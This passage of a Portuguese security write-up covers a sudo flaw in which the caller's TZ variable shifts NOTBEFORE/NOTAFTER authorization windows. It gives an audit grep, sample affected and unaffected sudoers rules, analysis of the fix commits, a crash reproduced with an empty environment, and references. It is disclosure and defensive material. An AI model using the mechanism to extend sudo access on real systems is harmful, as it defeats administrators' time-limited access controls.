grep -rE 'NOT(BEFORE|AFTER)=' /etc/sudoers /etc/sudoers.d/
Qualquer timestamp sem o Z final e sem offset explícito está na forma afetada. A
correção de configuração é acrescentar o Z, que força o ramo timegm()
e dispensa upgrade. Enquanto não houver release com o patch, essa é a única ação disponível
sem aplicação manual da correção.
# forma afetada — hora local, resolvida no fuso do chamador
poc ALL=(ALL) NOTAFTER=20260827120000 /usr/bin/id
# forma nao afetada — ramo timegm(), independente de fuso
poc ALL=(ALL) NOTAFTER=20260827120000Z /usr/bin/id
sudo -l para
auditoria
O sudo -l formata todo Date_Spec através de gmtime()
e sempre anexa um Z (plugins/sudoers/display.c:229). Uma regra
escrita NOTAFTER=20260827221423 é exibida como
NOTAFTER=20260827221423Z. A saída normaliza justamente o detalhe que distingue
a forma afetada da não afetada, de modo que o sudo -l não serve para essa
auditoria. O cvtsudoers e o fmtsudoers têm o mesmo comportamento.
A verificação precisa ler o /etc/sudoers diretamente.
A correção adotada e o precedente do locale
Duas rotas foram propostas no advisory: remover o TZ do ambiente durante toda a
decisão, ou fazer o parse_gentime() não depender de fuso. A escolha entre elas
envolve definir se a "hora local" da forma sem sufixo se refere ao host ou ao chamador, o que é
uma decisão de semântica do projeto.
O sudo já aplica o primeiro padrão a outra variável de ambiente. O
sudoers_lookup() é envolvido por
sudoers_setlocale(SUDOERS_LOCALE_SUDOERS, …) em
plugins/sudoers/sudoers.c:398-402, de modo que a decisão inteira roda sob um
locale conhecido em vez do locale do chamador. O mesmo tratamento não existia para o fuso.
A segunda correção: 194042b55
Um dia após o 1820a349 entrou o 194042b55,
"Copy envp → submit_envp instead of replacing the environ pointer", no mesmo
bloco. O mecanismo de proteção muda: deixa de vir da substituição do ponteiro e passa a
depender de ordem de execução — o os_init() (src/sudo.c:158) precisa
rodar antes do set_time_zone() (:165). A proteção se mantém, mas
qualquer setenv/unsetenv futuro deslocado para antes do
os_init() altera esse resultado.
O commit também introduziu uma regressão de disponibilidade local. Com ambiente vazio,
env -i sudo -V termina em SIGSEGV: o submit_envp permanece
NULL quando envc == 0 (src/sudo.c:376) e é
desreferenciado em plugins/sudoers/sudoers.c:1055, pela via do plugin de
auditoria.
ASan SEGV on unknown address 0x000000000000 (READ, pagina zero)
init_vars -> sudoers_init -> sudoers_audit_open -> audit_open -> main
UBSan sudoers.c:1055:31: load of null pointer of type 'char *'
Não é vulnerabilidade: não há ganho de privilégio, não há core dump e nada persiste. O commit nunca chegou a uma release.
A observação relevante é de consistência interna: os demais pontos da árvore já tratam um
ambiente de usuário NULL como caso legal — env.c:258,
iolog.c:608, log_client.c:863 e eventlog.c:828. O
sudoers.c:1055 é o único que não faz essa verificação.
Referências
| Fonte | Conteúdo | Link |
|---|---|---|
| Registro Red Hat (CNA) | Descrição oficial, CWE-863, vetor 7.8, mitigação com
grep e reconhecimento nominal |
access.redhat.com |
| Commit da correção | src/sudo.c, +24/−7. A mensagem
registra que a mudança anterior "was not effective since the mktime()
function re-reads the TZ environment variable each time it is called"
|
github.com |
| Post oss-security | Anúncio de 2026-09-24: mecanismo, relação com o
db669167c, versões, CVSS, CWE e cronologia |
openwall.com |
| CVE Program | Registro canônico | cve.org |
| Bugzilla Red Hat #2539327 | Ticket de origem do registro | bugzilla.redhat.com |
| RHSA-2026:71609 | 2026-09-24, sudo-1.9.17-16.p2.2.hum1,
restrito a Red Hat Hardened Images |
access.redhat.com |
| Ubuntu Security | Prioridade Medium; "Needs evaluation" de 14.04 a 26.04 LTS; nenhuma versão corrigida | ubuntu.com |
| NixOS PR #566451 | Aberto e mergeado em 2026-09-24, em
staging |
github.com |
| Advisories do sudo | Sem entrada para esta CVE. O mais recente continua sendo o da CVE-2025-32463, de 2025-06-30 | sudo.ws |
| Tenable | Published 2026-09-23, modified 2026-09-24, com lista de referências | tenable.com |
| PoC e reprodução | Os scripts deste artigo, com os controles C1–C6 e o lab em contêiner | github.com |
Atribuição. O reporte original da questão de base — TZ
influencia NOTBEFORE/NOTAFTER — não é meu: é da XlabAI Team of
Tencent Xuanwu Lab, da Atuin Automated Vulnerability Discovery Engine e de Guannan Wang,
Zhanpeng Liu e Guancheng Li, creditados no commit db669167c.
A CVE-2026-96512 é um achado distinto e individual, creditado a mim sob o nome
Ermenson Junior e registrado pela Red Hat como
"Independent security research", sem patrocínio: a correção publicada
para aquele reporte é incompleta e contornável. A proteção instalada pelo
db669167c cobre o cache de fuso da glibc, e com ele os timestamps de log, mas
não alcança o mktime() de gentime.c:156, onde a autorização é
decidida. Numa árvore que já contém aquela correção, o deslocamento da janela permanece
integralmente reproduzível, como mostra a comparação entre as duas árvores. O próprio mantenedor
registra o ponto na mensagem do commit 1820a349: a mudança anterior
"was not effective since the mktime() function re-reads the TZ environment variable
each time it is called".